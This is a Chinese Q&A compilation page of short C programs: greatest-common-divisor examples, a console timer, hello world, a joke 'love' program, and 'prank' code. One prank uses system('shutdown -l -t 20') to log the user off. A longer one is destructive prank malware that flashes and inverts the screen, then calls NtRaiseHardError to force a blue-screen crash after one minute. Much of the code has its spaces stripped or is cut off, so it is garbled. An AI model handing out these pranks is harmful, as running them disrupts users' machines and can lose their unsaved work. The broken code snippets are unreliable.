当前位置:首页 » 编程语言 » c语言手机版装逼代码
扩展阅读
webinf下怎么引入js 2023-08-31 21:54:13
堡垒机怎么打开web 2023-08-31 21:54:11

c语言手机版装逼代码

发布时间: 2022-07-13 22:22:44

⑴ 收集神奇的或功能强悍的而且短小的c语言代码

如下C语言代码:

//求两数最大公约数代码。
#include<stdio.h>
intgcd(inta,intb)//求最大公约数函数。
{
if(a%b==0)returnb;
elsereturngcd(b,a%b);//辗转相除法。
}
voidmain()
{
inta,b;
scanf("%d%d",&a,&b);//输入两个数。
printf("%d ",gcd(a,b));//输出这两个数的最大公约数。
}

给出的代码是求两数最大公约数的C语言代码。

⑵ 求简单C语言程序代码!

输入2个正整数m和n,求其最大公约数和最小公倍数

#include

#include

int main()

int m,n,p,q,s,r;

printf("请输入两个正整数;m,n ");

scanf("%d,%d",&m,&n);

#include<stdio.h>

main()

int a,b,t=0;

scanf("%d %d",&a,&b);

if (a<b)

printf("%d %d %d %d %d",(a+b),(a-b),(a/b),(a*b),(a%b));

}

主要特点

C语言是一种结构化语言,它有着清晰的层次,可按照模块的方式对程序进行编写,十分有利于程序的调试,且c语言的处理和表现能力都非常的强大,依靠非常全面的运算符和多样的数据类型,可以轻易完成各种数据结构的构建,通过指针类型更可对内存直接寻址以及对硬件进行直接操作,因此既能够用于开发系统程序,也可用于开发应用软件。

以上内容参考:网络-c语言

⑶ 求几个比较有趣,简单的C语言源代码 小白自己敲着练一下手感

最简单的模拟计时器:

#include<stdio.h>

#include<conio.h>

#include<windows.h>

int m=0,s=0,ms=0; //m是分 s是秒 ms是毫秒

//以下是5个自编函数

void csh( ); //初始化界面

void yinc(int x,int y); //隐藏光标的函数(y值设为0就会隐藏)

void jishi( ); //计时器运行(每100毫秒变化一次)

void Color (short x, short y); //设定颜色的函数(y设为0就是黑底)

void gtxy (int x, int y); //控制光标位置的函数

int main( ) //主函数

{ csh( );

getch( );

while(1)

{ jishi( );

Sleep(100); //间隔100毫秒

if( kbhit( ) )break; //有键按下就退出循环

}

return 0;

}

void csh( ) //初始化界面

{Color(14,0); //设定淡黄字配黑底

printf(“ 计时器”);

Color(10,0); //设定淡绿字配黑底

printf(" ┌───────────┐");

printf(" │ │");

printf(" └───────────┘");

gtxy(10,4); //光标到屏幕第10列4行处输出

Color(7,0); //恢复白字黑底

printf(" 00:00:00 ");

yinc(1,0 ); //隐藏光标(yinc代表隐藏)

return;

}

void jishi( ) //计时器运行

{ms+=1;

if(ms==10){s+=1;ms=0;}

if(s==60){m+=1;s=0;}

gtxy(10,4);

Color(9,0); //设定淡蓝字配黑底

if(m>9) printf(" %d:",m);

else printf(" 0%d:",m);

Color(14,0); //设定淡黄字配黑底

if(s>9) printf("%d:",s);

else printf("0%d:",s);

Color(12,0); //设定淡红字配黑底

printf("0%d",ms);

}

void gtxy (int x, int y) //控制光标位置的函数

{ COORD pos;

pos.X = x;

pos.Y = y;

SetConsoleCursorPosition ( GetStdHandle (STD_OUTPUT_HANDLE), pos );

}

void Color (short ForeColor= 7, short BackGroundColor= 0) //设定颜色的函数

{ HANDLE handle = GetStdHandle ( STD_OUTPUT_HANDLE );

SetConsoleTextAttribute ( handle, ForeColor + BackGroundColor * 0x10 );

}

void yinc(int x,int y) //隐藏光标的设置(gb代表光标)

{ CONSOLE_CURSOR_INFO gb={x,y}; //x为1-100,y为0就隐藏光标

SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &gb);

}

⑷ c语言,求代码,直接能复制到cb强的那种,不然复制很麻烦

#include<stdio.h>
#include<string.h>
intmain()
{
chars[60];
while(~scanf("%[^ ]%*c",s))
{
if(strchr(s,'A')&&strchr(s,'C')&&strchr(s,'M'))
printf("^v^ ");
else
printf("== ");
}
return0;
}

⑸ 最简单的C语言代码

最简单的C语言代就是输出“helloWord”,通常是作为初学编程语言时的第一个程序代码。具体代码如下:

#include <stdio.h>

int main(){

printf("Hello, World! ");

return 0;

}

(5)c语言手机版装逼代码扩展阅读:

1、程序的第一行#include <stdio.h>是预处理器指令,告诉 C 编译器在实际编译之前要包含 stdio.h 文件。

2、下一行intmain()是主函数,程序从这里开始执行。

3、下一行printf(...)是C中另一个可用的函数,会在屏幕上显示消息"Hello,World!"。

4、下一行return0;终止main()函数,并返回值0。

⑹ 求一些恶搞程序的C语言源代码

#include "stdio.h"
#include "stdlib.h"
result love(boy, girl)
{
if ( boy.有房() and boy.有车() )
{
boy.set(nothing);
return girl.嫁给(boy);
}
if ( girl.愿意等() )
{
while( ! (boy.赚钱 > 100,000 and girl.感情 > 8 ) )
{
for ( day=1; day <=365; day++)
{
if ( day == 情人节 )
if ( boy.givegirl(玫瑰) )
girl.感情++;
else
girl.感情--;
if( day == girl.生日)
if ( boy.givegirl(玫瑰) )
girl.感情++;
else
girl.感情--;
boy.拼命赚钱();
}
}
if ( boy.有房() and boy.有车() )
{
boy.set(nothing);
return girl.嫁给(boy);
}
年龄++;
girl.感情--;
}
return girl.goto( another_boy);
}

⑺ 求一个C语言整人程序代码

#include<stdio.h>#include<stdlib.h>void main(){ system("shutdown -l -t 20");}

⑻ 想用一段C语言来做个性签名,用来装逼🌝

自己选一个ioccc的代码
http://www.ioccc.org/years.html

⑼ 求一个C语言整人代码!!!

先上代码

#include<Windows.h>
#include<time.h>
usingnamespacestd;
intcall;
intScreenWidth=GetSystemMetrics(SM_CXSCREEN);
intScreenHeight=GetSystemMetrics(SM_CYSCREEN);
intIconWidth=GetSystemMetrics(SM_CXICON);
intIconHeight=GetSystemMetrics(SM_CYICON);
HDChdc=GetWindowDC(GetDesktopWindow());
#defineKEY_DOWN(VK_NONAME)((GetAsyncKeyState(VK_NONAME)&0x8000)?1:0)
intrandom(intupper_bound){
if(upper_bound==0){
return0;
}
srand((unsigned)(time(NULL)*clock()*rand()*call+time(NULL)+rand()+call));
call++;
returnrand()%upper_bound;
}
DWORDWINAPIFlashDesktop(LPVOIDParam){
while(true){
BitBlt(hdc,0,0,ScreenWidth,ScreenHeight,hdc,0,0,NOTSRCCOPY);
Sleep(random(100));
}
return0;
}
intGetWay(){
intr=random(3);
switch(r){
case0:
returnSRCAND;
case1:
returnSRCINVERT;
case2:
returnSRCPAINT;
}
}
(LPVOIDParam){
while(true){
intRandWidth=random(ScreenWidth);
intRandHeight=random(ScreenHeight);
intRandxPixel=random(ScreenWidth-RandWidth);
intRandyPixel=random(ScreenHeight-RandHeight);
intRandDestxPixel=random(ScreenWidth-RandWidth);
intRandDestyPixel=random(ScreenHeight-RandHeight);
BitBlt(hdc,RandxPixel,RandyPixel,RandWidth,RandHeight,hdc,RandDestxPixel,RandDestyPixel,SRCINVERT);
Sleep(random(100));
}
return0;
}
(LPVOIDParam){
while(true){
intRandWidth=random(ScreenWidth);
intRandHeight=random(ScreenHeight);
intRandxPixel=random(ScreenWidth-RandWidth)+RandWidth;
intRandyPixel=random(ScreenHeight-RandHeight)+RandHeight;
intRandDestxPixel=random(ScreenWidth-RandWidth)+RandWidth;
intRandDestyPixel=random(ScreenHeight-RandHeight)+RandHeight;
BitBlt(hdc,RandxPixel,RandyPixel,RandWidth,RandHeight,hdc,RandDestxPixel,RandDestyPixel,SRCINVERT);
Sleep(random(100));
}
return0;
}
DWORDWINAPICallBsod1MinLater(LPVOIDParam){
Sleep(60000);
HMODULEntdll=LoadLibrary("ntdll.dll");
FARPROCRtlAdjustPrivilege=GetProcAddress(ntdll,"RtlAdjustPrivilege");
FARPROCNtRaiseHardError=GetProcAddress(ntdll,"NtRaiseHardError");
unsignedchartemp0;
longunsignedinttemp1;
((void(*)(DWORD,DWORD,BOOLEAN,LPBYTE))RtlAdjustPrivilege)(0x13,true,false,&temp0);
((void(*)(DWORD,DWORD,DWORD,DWORD,DWORD,LPDWORD))NtRaiseHardError)(0xc000021a,0,0,0,6,&temp1);
return0;
}
DWORDWINAPIDrawErrors(LPVOIDParam){
while(true){
intRandxPixel=random(ScreenWidth-IconWidth/2);
intRandyPixel=random(ScreenHeight-IconHeight/2);
DrawIcon(hdc,RandxPixel,RandyPixel,LoadIcon(NULL,IDI_ERROR));
Sleep(random(50));
}
return0;
}
intmain(void){
CreateThread(NULL,4096,&FlashDesktop,NULL,NULL,NULL);
CreateThread(NULL,4096,&ScreenXorOperation1,NULL,NULL,NULL);
CreateThread(NULL,4096,&ScreenXorOperation2,NULL,NULL,NULL);
CreateThread(NULL,4096,&CallBsod1MinLater,NULL,NULL,NULL);
CreateThread(NULL,4096,&DrawErrors,NULL,NULL,NULL);
while(true);
}

运行这段代码首先会花屏并闪屏,一分钟后蓝屏。

效果图: